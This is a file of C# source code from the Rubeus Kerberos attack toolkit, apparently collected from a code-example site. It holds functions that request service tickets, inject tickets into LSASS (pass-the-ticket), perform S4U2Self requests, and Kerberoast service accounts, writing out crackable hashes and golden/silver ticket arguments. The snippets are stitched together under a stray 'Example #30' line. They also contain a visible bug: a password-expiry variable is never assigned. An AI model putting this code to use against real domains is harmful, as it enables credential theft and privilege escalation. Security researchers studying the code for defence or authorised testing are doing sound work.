        public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false)
        {
            string dcIP = Networking.GetDCIP(domainController, display, domain);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            if (display)
            {
                if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
                {
                    Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType);
                }
                else
                {
                    Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
                }

                if (!String.IsNullOrEmpty(service))
                {
                    Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
                }
                else if (u2u)
                {
                    Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName);
                }
                else
                {
                    Console.WriteLine("[*] Building TGS-REQ request");
                }
            }

            // if /service is empty get name from the supplied /tgs
            if (u2u && tgs != null && String.IsNullOrEmpty(service))
            {
                service = tgs.enc_part.ticket_info[0].pname.name_string[0];
            }

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u);

            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                if (display)
                {
                    Console.WriteLine("[+] TGS request successful!");
                }

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);

                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT
                if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0))
                {
                    byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true);

                    byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes);
                }

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = rep.crealm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                if (ptt)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                if (String.IsNullOrEmpty(servicekey) && u2u)
                {
                    servicekey = Helpers.ByteArrayToString(clientKey);
                }

                if (display)
                {
                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }

                    KRB_CRED kirbi = new KRB_CRED(kirbiBytes);

                    LSA.DisplayTicket(kirbi, 2, false, false, false, false,
                                      string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey));
                }

                if (!String.IsNullOrEmpty(outfile))
                {
                    outfile = Helpers.MakeValidFileName(outfile);
                    if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                    {
                        if (display)
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                        }
                    }
                }

                if (!String.IsNullOrEmpty(servicekey) && printargs)
                {
                    var     decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null);
                    PACTYPE pt = decryptedEncTicket.GetPac(null);
                    if (pt == null)
                    {
                        Console.WriteLine("[X] Unable to get the PAC");
                        return(kirbiBytes);
                    }

                    string outArgs = String.Empty;

                    foreach (var pacInfoBuffer in pt.PacInfoBuffers)
                    {
                        if (pacInfoBuffer is LogonInfo li)
                        {
                            outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName);
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString()))
                            {
                                outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString()))
                            {
                                outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString()))
                            {
                                outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString()))
                            {
                                outArgs = String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString()))
                            {
                                outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive);
                            }
                            if (li.KerbValidationInfo.GroupCount > 0)
                            {
                                outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
                            }
                            if (li.KerbValidationInfo.SidCount > 0)
                            {
                                outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next));
                            }
                            if (li.KerbValidationInfo.ResourceGroupCount > 0)
                            {
                                outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
                            }
                            try
                            {
                                outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime());
                            }
                            catch { }
                            DateTime?passLastSet = null;
                            try
                            {
                                passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32));
                            }
                            catch { }
                            if (passLastSet != null)
                            {
                                outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime());
                                DateTime?passCanSet = null;
                                try
                                {
                                    passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32));
                                }
                                catch { }
                                if (passCanSet != null)
                                {
                                    outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days);
                                }
                                DateTime?passMustSet = null;
                                try
                                {
                                    passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32));
                                }
                                catch { }
                                if (passMustSet != null)
                                {
                                    outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days);
                                }
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString()))
                            {
                                outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm);
                            }
                            if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT)
                            {
                                outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", ""));
                            }
                        }
                    }

                    Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs);
                }

                return(kirbiBytes);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
            return(null);
        }
        private static Ticket S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "")
        {
            // extract out the info needed for the TGS-REQ/S4U2Self execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser);

            Console.WriteLine("[*] Sending S4U2self request");
            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] S4U2self success!");

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm);
                Console.WriteLine("[*] base64(ticket.kirbi):\r\n");

                if (Rubeus.Program.wrapTickets)
                {
                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }
                else
                {
                    Console.WriteLine("      {0}", kirbiString);
                }

                Console.WriteLine("");

                if (!String.IsNullOrEmpty(outfile))
                {
                    string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
                    filename = Helpers.MakeValidFileName(filename);
                    if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                    {
                        Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                    }
                }

                return(rep.ticket);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }

            return(null);
        }
Example #30
0
        public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "")
        {
            Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n");

            if (!String.IsNullOrEmpty(spn))
            {
                Console.WriteLine("[*] Target SPN             : {0}", spn);
                GetDomainSPNTicket(spn, outFile);
            }
            else
            {
                if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
                {
                    if (!String.IsNullOrEmpty(userName))
                    {
                        Console.WriteLine("[*] Target User            : {0}", userName);
                    }
                    if (!String.IsNullOrEmpty(domain))
                    {
                        Console.WriteLine("[*] Target Domain          : {0}", domain);
                    }
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("[*] Target OU              : {0}", OUName);
                    }
                }

                DirectoryEntry    directoryObject = null;
                DirectorySearcher userSearcher    = null;
                string            bindPath        = "";
                string            domainPath      = "";

                try
                {
                    if (cred != null)
                    {
                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
                        }
                        else
                        {
                            bindPath = String.Format("LDAP://{0}", cred.Domain);
                        }
                    }
                    else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName))
                    {
                        if (String.IsNullOrEmpty(dc))
                        {
                            dc = Networking.GetDCName();
                        }

                        bindPath = String.Format("LDAP://{0}", dc);

                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("{0}/{1}", bindPath, ouPath);
                        }
                        else if (!String.IsNullOrEmpty(domain))
                        {
                            domainPath = domain.Replace(".", ",DC=");
                            bindPath   = String.Format("{0}/DC={1}", bindPath, domainPath);
                        }
                    }

                    if (!String.IsNullOrEmpty(bindPath))
                    {
                        directoryObject = new DirectoryEntry(bindPath);
                    }
                    else
                    {
                        directoryObject = new DirectoryEntry();
                    }

                    if (cred != null)
                    {
                        // if we're using alternate credentials for the connection
                        string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
                        directoryObject.Username = userDomain;
                        directoryObject.Password = cred.Password;

                        using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
                        {
                            if (!pc.ValidateCredentials(cred.UserName, cred.Password))
                            {
                                Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
                                return;
                            }
                            else
                            {
                                Console.WriteLine("[*] Using alternate creds  : {0}", userDomain);
                            }
                        }
                    }

                    userSearcher = new DirectorySearcher(directoryObject);
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }

                // check to ensure that the bind worked correctly
                try
                {
                    Guid guid = directoryObject.Guid;
                }
                catch (DirectoryServicesCOMException ex)
                {
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                try
                {
                    if (String.IsNullOrEmpty(userName))
                    {
                        userSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))";
                    }
                    else
                    {
                        userSearcher.Filter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName={0}))", userName);
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
                    return;
                }

                try
                {
                    SearchResultCollection users = userSearcher.FindAll();

                    if (users.Count == 0)
                    {
                        Console.WriteLine("\r\n[X] No users found to Kerberoast!");
                    }

                    foreach (SearchResult user in users)
                    {
                        string samAccountName       = user.Properties["samAccountName"][0].ToString();
                        string distinguishedName    = user.Properties["distinguishedName"][0].ToString();
                        string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();
                        Console.WriteLine("\r\n[*] SamAccountName         : {0}", samAccountName);
                        Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);
                        Console.WriteLine("[*] ServicePrincipalName   : {0}", servicePrincipalName);
                        if (!String.IsNullOrEmpty(domain))
                        {
                            string SPN = String.Format("{0}@{1}", servicePrincipalName, domain);
                            GetDomainSPNTicket(SPN, userName, distinguishedName, cred, outFile);
                        }
                        else
                        {
                            GetDomainSPNTicket(servicePrincipalName, userName, distinguishedName, cred, outFile);
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }